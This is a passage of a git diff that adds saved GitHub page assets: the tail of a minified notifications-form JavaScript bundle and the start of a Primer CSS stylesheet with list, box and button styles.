e=Object.keys(this.lastAppliedLabels).length>0;e&&this.threadTypeCheckboxes.length>0&&(this.threadTypeCheckboxes[0].checked=e),this.threadTypeCheckboxesUpdated()}hideFilterSubtitle(){const e=Object.keys(this.lastAppliedLabels).length>0;this.subscriptionsSubtitle.toggleAttribute("hidden",e)}saveCurrentLabelsState(){this.lastAppliedLabels={},this.labelInputs.innerHTML="";for(let e=0;et.checked);this.customSubmit.disabled=e}closeMenu(){this.details.toggleAttribute("open",!1)}},"NotificationsListSubscriptionFormElement");c([s.fA],p.prototype,"details",2),c([s.fA],p.prototype,"menu",2),c([s.fA],p.prototype,"customButton",2),c([s.fA],p.prototype,"customDialog",2),c([s.fA],p.prototype,"filterLabelsDialog",2),c([s.GO],p.prototype,"subscriptionButtons",2),c([s.GO],p.prototype,"subscriptionsLabels",2),c([s.fA],p.prototype,"labelInputs",2),c([s.fA],p.prototype,"subscriptionsSubtitle",2),c([s.fA],p.prototype,"socialCount",2),c([s.fA],p.prototype,"unwatchButtonCopy",2),c([s.fA],p.prototype,"stopIgnoringButtonCopy",2),c([s.fA],p.prototype,"watchButtonCopy",2),c([s.GO],p.prototype,"threadTypeCheckboxes",2),c([s.fA],p.prototype,"customSubmit",2),c([s.fA],p.prototype,"subscriptionsContainer",2),c([s.GO],p.prototype,"dialogLabelItems",2),p=c([s.Ih],p);var k=Object.defineProperty,a=Object.getOwnPropertyDescriptor,n=u((e,t,r,i)=>{for(var o=i>1?void 0:i?a(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&k(t,r,o),o},"notifications_team_subscription_form_element_decorateClass");let h=u(class extends HTMLElement{closeMenu(){this.details.toggleAttribute("open",!1)}},"NotificationsTeamSubscriptionFormElement");n([s.fA],h.prototype,"details",2),h=n([s.Ih],h);var v=Object.defineProperty,C=Object.getOwnPropertyDescriptor,T=u((e,t,r,i)=>{for(var o=i>1?void 0:i?C(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&v(t,r,o),o},"notifications_subscriptions_dialog_label_item_decorateClass");let E=u(class extends HTMLElement{toggleDropdownLabel(e){if(e.preventDefault(),e.stopPropagation(),this.label){const t=this.label.getAttribute("aria-checked")==="true";this.setCheckedForDropdownLabel(!t),this.dispatchEvent(new CustomEvent("notifications-dialog-label-toggled",{detail:{wasChecked:t,toggledLabelId:this.labelId,templateLabelElementClone:this.hiddenLabelTemplate.cloneNode(!0)},bubbles:!0}))}}setCheckedForDropdownLabel(e){this.label.setAttribute("aria-checked",e.toString())}},"NotificationsDialogLabelItemElement");T([s.fA],E.prototype,"label",2),T([s.fA],E.prototype,"hiddenLabelTemplate",2),T([s.fA],E.prototype,"hiddenCheckboxInput",2),T([s.Lj],E.prototype,"labelId",2),E=T([s.Ih],E)}},_=>{var L=u(s=>_(_.s=s),"__webpack_exec__");_.O(0,["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51"],()=>L(55089));var g=_.O()}]);})(); + +//# sourceMappingURL=notifications-global-efb6b04b1517.js.map \ No newline at end of file diff --git a/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css new file mode 100644 index 0000000..81c8b42 --- /dev/null +++ b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css @@ -0,0 +1,13 @@ +:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{color-scheme:light}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{color-scheme:light}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{color-scheme:light}}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{color-scheme:dark}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{color-scheme:dark}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{color-scheme:dark}}[data-color-mode]{color:var(--color-fg-default);background-color:var(--color-canvas-default)}@media(forced-colors: active){body{--color-accent-emphasis: Highlight;--color-fg-on-emphasis: LinkText}}/*! + * @primer/css/core + * http://primer.style/css + * + * Released under MIT license. Copyright (c) 2019 GitHub Inc. + */.ActionList{padding:8px}.ActionList--full{padding:0}.ActionList--subGroup{padding:0}.ActionList--divided .ActionList-item-label::before{position:absolute;top:-6px;display:block;width:100%;height:1px;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--divided .ActionList-item-descriptionWrap--inline::before{position:absolute;top:-6px;display:block;width:100%;height:1px;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--divided .ActionList-item-descriptionWrap--inline .ActionList-item-label::before{content:unset}.ActionList--divided .ActionList-item--navActive .ActionList-item-label::before,.ActionList--divided .ActionList-item--navActive+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:first-of-type .ActionList-item-label::before,.ActionList-sectionDivider+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:first-of-type .ActionList-item-descriptionWrap--inline::before,.ActionList-sectionDivider+.ActionList-item .ActionList-item-descriptionWrap--inline::before{visibility:hidden}.ActionList--tree{--ActionList-tree-depth: 1}.ActionList--tree .ActionList-item--subItem>.ActionList-content{font-size:14px}.ActionList--tree .ActionList-item.ActionList-item--singleton .ActionList-content{padding-left:32px}.ActionList--tree .ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-content[aria-expanded]+.ActionList--subGroup{position:relative}.ActionList--tree .ActionList-content[aria-expanded]+.ActionList--subGroup .ActionList-content{padding-left:calc(8px * var(--ActionList-tree-depth))}.ActionList--tree .ActionList-content[aria-expanded=true] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:rotate(0deg)}.ActionList--tree .ActionList-content[aria-expanded=true].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-content[aria-expanded=false] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:rotate(-90deg)}.ActionList--tree .ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-item--hasSubItem .ActionList-item--subItem:not(.ActionList-item--hasSubItem) .ActionList-content>span:first-child{padding-left:24px}.ActionList--tree>[aria-level="1"].ActionList-item--hasSubItem>.ActionList--subGroup::before{position:absolute;left:16px;width:1px;height:100%;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--tree .ActionList-item--hasSubItem:not([aria-level="1"])>.ActionList--subGroup::before{position:absolute;left:calc(8px * (var(--ActionList-tree-depth)) + 7px);width:1px;height:100%;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList-item{position:relative;list-style:none;background-color:transparent;border-radius:6px}.ActionList-item:hover,.ActionList-item:active{cursor:pointer}@media(hover: hover){.ActionList-item:not(.ActionList-item--hasSubItem):hover,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover{cursor:pointer;background-color:var(--color-action-list-item-default-hover-bg)}.ActionList-item:not(.ActionList-item--hasSubItem):hover:not(.ActionList-item--navActive),.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover:not(.ActionList-item--navActive){outline:solid 1px transparent;outline-offset:-1px;box-shadow:inset 0 0 0 2px var(--color-action-list-item-default-active-border)}}.ActionList-item:not(.ActionList-item--hasSubItem):active,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{background:var(--color-action-list-item-default-active-bg)}.ActionList-item:not(.ActionList-item--hasSubItem):active:not(.ActionList-item--navActive),.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active:not(.ActionList-item--navActive){outline:solid 1px transparent;outline-offset:-1px;box-shadow:inset 0 0 0 2px var(--color-action-list-item-default-active-border)}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item:not(.ActionList-item--hasSubItem):active,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{animation:ActionList-item-active-bg 4s forwards cubic-bezier(0.33, 1, 0.68, 1)}}@keyframes ActionList-item-active-bg{50%{box-shadow:inset 0 2px 12px 6px rgba(var(--color-canvas-default), 0.4);transform:scale(1)}100%{transform:scale(0.97)}}@media(hover: hover){.ActionList-item:not(.ActionList-item--hasSubItem):hover .ActionList-item-label::before,.ActionList-item:not(.ActionList-item--hasSubItem):hover+.ActionList-item .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:not(.ActionList-item--hasSubItem):hover .ActionList-item-descriptionWrap--inline::before,.ActionList-item:not(.ActionList-item--hasSubItem):hover+.ActionList-item .ActionList-item-descriptionWrap--inline::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover .ActionList-item-descriptionWrap--inline::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover+.ActionList-item .ActionList-item-descriptionWrap--inline::before{visibility:hidden}}.ActionList-item:not(.ActionList-item--hasSubItem):active .ActionList-item-label::before,.ActionList-item:not(.ActionList-item--hasSubItem):active+.ActionList-item .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item.ActionList-item--hasSubItem>.ActionList-content{z-index:1}@media(hover: hover){.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover{background-color:var(--color-action-list-item-default-hover-bg)}}.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{background-color:var(--color-action-list-item-default-active-bg)}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:600}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger){background:var(--color-action-list-item-default-selected-bg)}@media(hover: hover){.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger):hover{background-color:var(--color-action-list-item-default-hover-bg)}}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)::before,.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)+.ActionList-item::before{visibility:hidden}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)::after{position:absolute;top:calc(50% - 12px);left:-8px;width:4px;height:24px;content:"";background:var(--color-accent-fg);border-radius:6px}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectCheckmark{visibility:visible;opacity:1;transition:visibility 0 linear 0,opacity 50ms}.ActionList-item[aria-checked=true] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-singleSelectCheckmark{visibility:visible}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item[aria-checked=true] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-singleSelectCheckmark{animation:checkmarkIn 200ms cubic-bezier(0.11, 0, 0.5, 0) forwards}}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect{fill:var(--color-accent-fg);stroke:var(--color-accent-fg);stroke-width:1px}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectCheckmark{fill:var(--color-fg-on-emphasis)}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectCheckmark{visibility:hidden;opacity:0;transition:visibility 0 linear 50ms,opacity 50ms}.ActionList-item[aria-checked=false] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-singleSelectCheckmark{visibility:hidden;transition:visibility 0s linear 200ms;-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item[aria-checked=false] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-singleSelectCheckmark{animation:checkmarkOut 200ms cubic-bezier(0.11, 0, 0.5, 0) forwards}}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect{fill:var(--color-canvas-default);stroke:var(--color-border-default);stroke-width:1px}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectIconRect{fill:var(--color-canvas-default);border:1px solid var(--color-border-default)}@keyframes checkmarkIn{from{-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}to{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0)}}@keyframes checkmarkOut{from{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0)}to{-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}}.ActionList-item.ActionList-item--danger .ActionList-item-label{color:var(--color-danger-fg)}.ActionList-item.ActionList-item--danger .ActionList-item-visual{color:var(--color-danger-fg)}@media(hover: hover){.ActionList-item.ActionList-item--danger:hover{background:var(--color-action-list-item-danger-hover-bg)}.ActionList-item.ActionList-item--danger:hover .ActionList-item-label{color:var(--color-action-list-item-danger-hover-text)}}.ActionList-item.ActionList-item--danger .ActionList-content:active{background:var(--color-action-list-item-danger-active-bg)}.ActionList-item .ActionList{padding:unset}.ActionList-content{position:relative;display:grid;width:100%;padding:6px 8px;font-size:14px;font-weight:400;color:var(--color-fg-default);text-align:left;-webkit-user-select:none;user-select:none;background-color:transparent;border:none;border-radius:6px;transition:background 33.333ms linear;touch-action:manipulation;touch-action:manipulation;-webkit-tap-highlight-color:transparent;grid-template-rows:min-content;grid-template-areas:"leadingAction leadingVisual label trailingVisual trailingAction";grid-template-columns:min-content min-content minmax(0, auto) min-content min-content;align-items:start}.ActionList-content>:not(:last-child){margin-right:8px}.ActionList-content:hover{text-decoration:none}.ActionList-content:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.ActionList-content:focus:not(:focus-visible){outline:solid 1px transparent}.ActionList-content:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.ActionList-content[aria-disabled=true] .ActionList-item-label,.ActionList-content[aria-disabled=true] .ActionList-item-description{color:var(--color-primer-fg-disabled)}.ActionList-content[aria-disabled=true] .ActionList-item-visual{fill:var(--color-primer-fg-disabled)}@media(hover: hover){.ActionList-content[aria-disabled=true]:hover{cursor:not-allowed;background-color:transparent}}@media screen and (prefers-reduced-motion: no-preference){.ActionList-content[aria-expanded]+.ActionList--subGroup{transition:opacity 160ms cubic-bezier(0.25, 1, 0.5, 1),transform 160ms cubic-bezier(0.25, 1, 0.5, 1)}}.ActionList-content[aria-expanded]+.ActionList--subGroup .ActionList-content{padding-left:24px}.ActionList-content[aria-expanded].ActionList-content--visual16+.ActionList--subGroup .ActionList-content{padding-left:32px}.ActionList-content[aria-expanded].ActionList-content--visual20+.ActionList--subGroup .ActionList-content{padding-left:36px}.ActionList-content[aria-expanded].ActionList-content--visual24+.ActionList--subGroup .ActionList-content{padding-left:40px}.ActionList-content[aria-expanded=true] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:scaleY(-1)}.ActionList-content[aria-expanded=true]+.ActionList--subGroup{height:auto;overflow:visible;visibility:visible;opacity:1;transform:translateY(0)}.ActionList-content[aria-expanded=true].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:600}.ActionList-content[aria-expanded=false] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:scaleY(1)}.ActionList-content[aria-expanded=false]+.ActionList--subGroup{height:0;overflow:hidden;visibility:hidden;opacity:0;transform:translateY(-16px)}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem{background:var(--color-action-list-item-default-selected-bg)}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem .ActionList-item-label{font-weight:600}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem::before,.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem+.ActionList-item::before{visibility:hidden}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem::after{position:absolute;top:calc(50% - 12px);left:-8px;width:4px;height:24px;content:"";background:var(--color-accent-fg);border-radius:6px}.ActionList-content.ActionList-content--sizeMedium{padding:10px 8px}.ActionList-content.ActionList-content--sizeLarge{padding:14px 8px}.ActionList-content.ActionList-content--fontSmall{font-size:12px}@media(pointer: coarse){.ActionList-content{padding:14px 8px}}.ActionList-content.ActionList-content--blockDescription .ActionList-item-visual{place-self:start}.ActionList-item-action--leading{grid-area:leadingAction}.ActionList-item-visual--leading{grid-area:leadingVisual}.ActionList-item-label{grid-area:label}.ActionList-item-visual--trailing{grid-area:trailingVisual}.ActionList-item-action--trailing{grid-area:trailingAction}.ActionList-item-descriptionWrap{grid-area:label;display:flex;flex-direction:column}.ActionList-item-descriptionWrap .ActionList-item-description{margin-top:4px}.ActionList-item-descriptionWrap .ActionList-item-label{font-weight:600}.ActionList-item-descriptionWrap--inline{position:relative;flex-direction:row;align-items:baseline}.ActionList-item-descriptionWrap--inline .ActionList-item-description{margin-left:8px}.ActionList-item-description{font-size:12px;font-weight:400;line-height:1.5;color:var(--color-fg-muted)}.ActionList-item-visual,.ActionList-item-action{display:flex;min-height:20px;color:var(--color-fg-muted);pointer-events:none;fill:var(--color-fg-muted);align-items:center}.ActionList-item-label{position:relative;font-weight:400;line-height:20px;color:var(--color-fg-default)}.ActionList-item-label--truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.ActionList-item--subItem>.ActionList-content{font-size:12px}.ActionList-sectionDivider:not(:empty){display:flex;padding:6px 8px;font-size:12px;font-weight:600;color:var(--color-fg-muted);flex-direction:column}.ActionList-sectionDivider:empty{display:block;height:1px;padding:0;margin:7px -8px 8px;list-style:none;background:var(--color-action-list-item-inline-divider);border:0}.ActionList-sectionDivider .ActionList-sectionDivider-title{font-size:12px;font-weight:600;color:var(--color-fg-muted)}.ActionList-sectionDivider--filled{margin:8px -8px;background:var(--color-canvas-subtle);border-top:1px solid var(--color-action-list-item-inline-divider);border-bottom:1px solid var(--color-action-list-item-inline-divider)}.ActionList-sectionDivider--filled:empty{height:8px;box-sizing:border-box}.ActionList-sectionDivider--filled:first-child{margin-top:0}/*! normalize.css v4.1.1 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,main,menu,nav,section{display:block}summary{display:list-item}audio,canvas,progress,video{display:inline-block}audio:not([controls]){display:none;height:0}progress{vertical-align:baseline}template,[hidden]{display:none !important}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:inherit}b,strong{font-weight:bolder}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background-color:var(--color-attention-subtle);color:var(--color-text-primary)}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-0.25em}sup{top:-0.5em}img{border-style:none}svg:not(:root){overflow:hidden}code,kbd,pre,samp{font-family:monospace;font-size:1em}figure{margin:1em 40px}hr{box-sizing:content-box;height:0;overflow:visible}button,input,select,textarea{font:inherit;margin:0}optgroup{font-weight:600}button,input{overflow:visible}button,select{text-transform:none}button,html [type=button],[type=reset],[type=submit]{-webkit-appearance:button}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}textarea{overflow:auto}[type=checkbox],[type=radio]{box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-input-placeholder{color:inherit;opacity:.54}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}*{box-sizing:border-box}input,select,textarea,button{font-family:inherit;font-size:inherit;line-height:inherit}body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:14px;line-height:1.5;color:var(--color-fg-default);background-color:var(--color-canvas-default)}a{color:var(--color-accent-fg);text-decoration:none}a:hover{text-decoration:underline}b,strong{font-weight:600}hr,.rule{height:0;margin:15px 0;overflow:hidden;background:transparent;border:0;border-bottom:1px solid var(--color-border-muted)}hr::before,.rule::before{display:table;content:""}hr::after,.rule::after{display:table;clear:both;content:""}table{border-spacing:0;border-collapse:collapse}td,th{padding:0}button{cursor:pointer;border-radius:0}[hidden][hidden]{display:none !important}details summary{cursor:pointer}details:not([open])>*:not(summary){display:none !important}a,button,[role=button],input[type=radio],input[type=checkbox]{transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}a:focus,button:focus,[role=button]:focus,input[type=radio]:focus,input[type=checkbox]:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}a:focus:not(:focus-visible),button:focus:not(:focus-visible),[role=button]:focus:not(:focus-visible),input[type=radio]:focus:not(:focus-visible),input[type=checkbox]:focus:not(:focus-visible){outline:solid 1px transparent}a:focus-visible,button:focus-visible,[role=button]:focus-visible,input[type=radio]:focus-visible,input[type=checkbox]:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}a:not([class]):focus,a:not([class]):focus-visible,input[type=radio]:focus,input[type=radio]:focus-visible,input[type=checkbox]:focus,input[type=checkbox]:focus-visible{outline-offset:0}.focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}@media(forced-colors: active){*:focus,*:focus-visible{outline:solid 1px transparent}input:not([type=radio],[type=checkbox]):focus,input:not([type=radio],[type=checkbox]):focus-visible,textarea:focus,textarea:focus-visible,select:focus,select:focus-visible{outline-offset:2px}}kbd{display:inline-block;padding:3px 5px;font:11px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;line-height:10px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-subtle);border:solid 1px var(--color-neutral-muted);border-bottom-color:var(--color-neutral-muted);border-radius:6px;box-shadow:inset 0 -1px 0 var(--color-neutral-muted)}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:0}h1{font-size:32px;font-weight:600}h2{font-size:24px;font-weight:600}h3{font-size:20px;font-weight:600}h4{font-size:16px;font-weight:600}h5{font-size:14px;font-weight:600}h6{font-size:12px;font-weight:600}p{margin-top:0;margin-bottom:10px}small{font-size:90%}blockquote{margin:0}ul,ol{padding-left:0;margin-top:0;margin-bottom:0}ol ol,ul ol{list-style-type:lower-roman}ul ul ol,ul ol ol,ol ul ol,ol ol ol{list-style-type:lower-alpha}dd{margin-left:0}tt,code,samp{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}pre{margin-top:0;margin-bottom:0;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}.octicon{vertical-align:text-bottom}.octicon{display:inline-block;overflow:visible !important;vertical-align:text-bottom;fill:currentColor}.Box{background-color:var(--color-canvas-default);border-color:var(--color-border-default);border-style:solid;border-width:1px;border-radius:6px}.Box--condensed{line-height:1.25}.Box--condensed .Box-header{padding:8px 16px}.Box--condensed .Box-body{padding:8px 16px}.Box--condensed .Box-footer{padding:8px 16px}.Box--condensed .Box-btn-octicon.btn-octicon{padding:8px 16px;margin:-8px -16px;line-height:1.25}.Box--condensed .Box-row{padding:8px 16px}.Box--spacious .Box-header{padding:24px;line-height:1.25}.Box--spacious .Box-title{font-size:20px}.Box--spacious .Box-body{padding:24px}.Box--spacious .Box-footer{padding:24px}.Box--spacious .Box-btn-octicon.btn-octicon{padding:24px;margin:-24px -24px}.Box--spacious .Box-row{padding:24px}.Box-header{padding:16px;margin:-1px -1px 0;background-color:var(--color-canvas-subtle);border-color:var(--color-border-default);border-style:solid;border-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box-title{font-size:14px;font-weight:600}.Box-body{padding:16px;border-bottom:1px solid var(--color-border-default)}.Box-body:last-of-type{margin-bottom:-1px;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.Box-row{padding:16px;margin-top:-1px;list-style-type:none;border-top-color:var(--color-border-muted);border-top-style:solid;border-top-width:1px}.Box-row:first-of-type{border-top-left-radius:6px;border-top-right-radius:6px}.Box-row:last-of-type{border-bottom-right-radius:6px;border-bottom-left-radius:6px}.Box-row.Box-row--unread,.Box-row.unread{box-shadow:inset 2px 0 0 var(--color-accent-emphasis)}.Box-row.navigation-focus .Box-row--drag-button{color:var(--color-accent-fg);cursor:grab;opacity:100}.Box-row.navigation-focus.is-dragging .Box-row--drag-button{cursor:grabbing}.Box-row.navigation-focus.sortable-chosen{background-color:var(--color-canvas-subtle)}.Box-row.navigation-focus.sortable-ghost{background-color:var(--color-canvas-subtle)}.Box-row.navigation-focus.sortable-ghost .Box-row--drag-hide{opacity:0}.Box-row--focus-gray.navigation-focus{background-color:var(--color-canvas-subtle)}.Box-row--focus-blue.navigation-focus{background-color:var(--color-accent-subtle)}.Box-row--hover-gray:hover{background-color:var(--color-canvas-subtle)}.Box-row--hover-blue:hover{background-color:var(--color-accent-subtle)}@media(min-width: 768px){.Box-row-link{color:var(--color-fg-default);text-decoration:none}.Box-row-link:hover{color:var(--color-accent-fg);text-decoration:none}}.Box-row--drag-button{opacity:0}.Box-footer{padding:16px;margin-top:-1px;border-top-color:var(--color-border-default);border-top-style:solid;border-top-width:1px;border-radius:0 0 6px 6px}.Box--scrollable{max-height:324px;overflow:scroll}.Box--blue{border-color:var(--color-accent-muted)}.Box--blue .Box-header{background-color:var(--color-accent-subtle);border-color:var(--color-accent-muted)}.Box--blue .Box-body{border-color:var(--color-accent-muted)}.Box--blue .Box-row{border-color:var(--color-accent-muted)}.Box--blue .Box-footer{border-color:var(--color-accent-muted)}.Box--danger{border-color:var(--color-danger-emphasis)}.Box--danger .Box-row:first-of-type{border-color:var(--color-danger-emphasis)}.Box--danger .Box-body:last-of-type{border-color:var(--color-danger-emphasis)}.Box-header--blue{background-color:var(--color-accent-subtle);border-color:var(--color-accent-muted)}.Box-row--yellow{background-color:var(--color-attention-subtle)}.Box-row--blue{background-color:var(--color-accent-subtle)}.Box-row--gray{background-color:var(--color-canvas-subtle)}.Box-btn-octicon.btn-octicon{padding:16px 16px;margin:-16px -16px;line-height:1.5}.Box--overlay{width:448px;margin-right:auto;margin-left:auto;background-color:var(--color-canvas-default);background-clip:padding-box;border-color:var(--color-border-default);box-shadow:0 0 18px rgba(0,0,0,.4)}.Box--overlay .Box-header{margin:0;border-width:0;border-bottom-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box-overlay--narrow{width:320px}.Box-overlay--wide{width:640px}.Box-body.scrollable-overlay{max-height:400px;overflow-y:scroll}.Box-body .help{padding-top:8px;margin:0;color:var(--color-fg-muted);text-align:center}.breadcrumb-item{display:inline-block;margin-left:-0.35em;white-space:nowrap;list-style:none}.breadcrumb-item::after{display:inline-block;height:.8em;margin:0 .5em;content:"";border-right:.1em solid var(--color-fg-muted);transform:rotate(15deg)}.breadcrumb-item:first-child{margin-left:0}.breadcrumb-item-selected::after,.breadcrumb-item[aria-current]:not([aria-current=false])::after{content:none}.breadcrumb-item-selected a{color:var(--color-fg-default)}.btn{position:relative;display:inline-block;padding:5px 16px;font-size:14px;font-weight:500;line-height:20px;white-space:nowrap;vertical-align:middle;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid;border-radius:6px;-webkit-appearance:none;appearance:none}.btn:hover{text-decoration:none}.btn:disabled,.btn.disabled,.btn[aria-disabled=true]{cursor:default}.btn i{font-style:normal;font-weight:500;opacity:.75}.btn .octicon{margin-right:4px;color:var(--color-fg-muted);vertical-align:text-bottom}.btn .octicon:only-child{margin-right:0}.btn .Counter{margin-left:2px;color:inherit;text-shadow:none;vertical-align:top;background-color:var(--color-btn-counter-bg)}.btn .dropdown-caret{margin-left:4px;opacity:.8}.btn{color:var(--color-btn-text);background-color:var(--color-btn-bg);border-color:var(--color-btn-border);box-shadow:var(--color-btn-shadow),var(--color-btn-inset-shadow);transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.btn:hover,.btn.hover,[open]>.btn{background-color:var(--color-btn-hover-bg);border-color:var(--color-btn-hover-border);transition-duration:.1s}.btn:active{background-color:var(--color-btn-active-bg);border-color:var(--color-btn-active-border);transition:none}.btn.selected,.btn[aria-selected=true]{background-color:var(--color-btn-selected-bg);box-shadow:var(--color-primer-shadow-inset)}.btn:disabled,.btn.disabled,.btn[aria-disabled=true]{color:var(--color-primer-fg-disabled);background-color:var(--color-btn-bg);border-color:var(--color-btn-border)}.btn:disabled .octicon,.btn.disabled .octicon,.btn[aria-disabled=true] 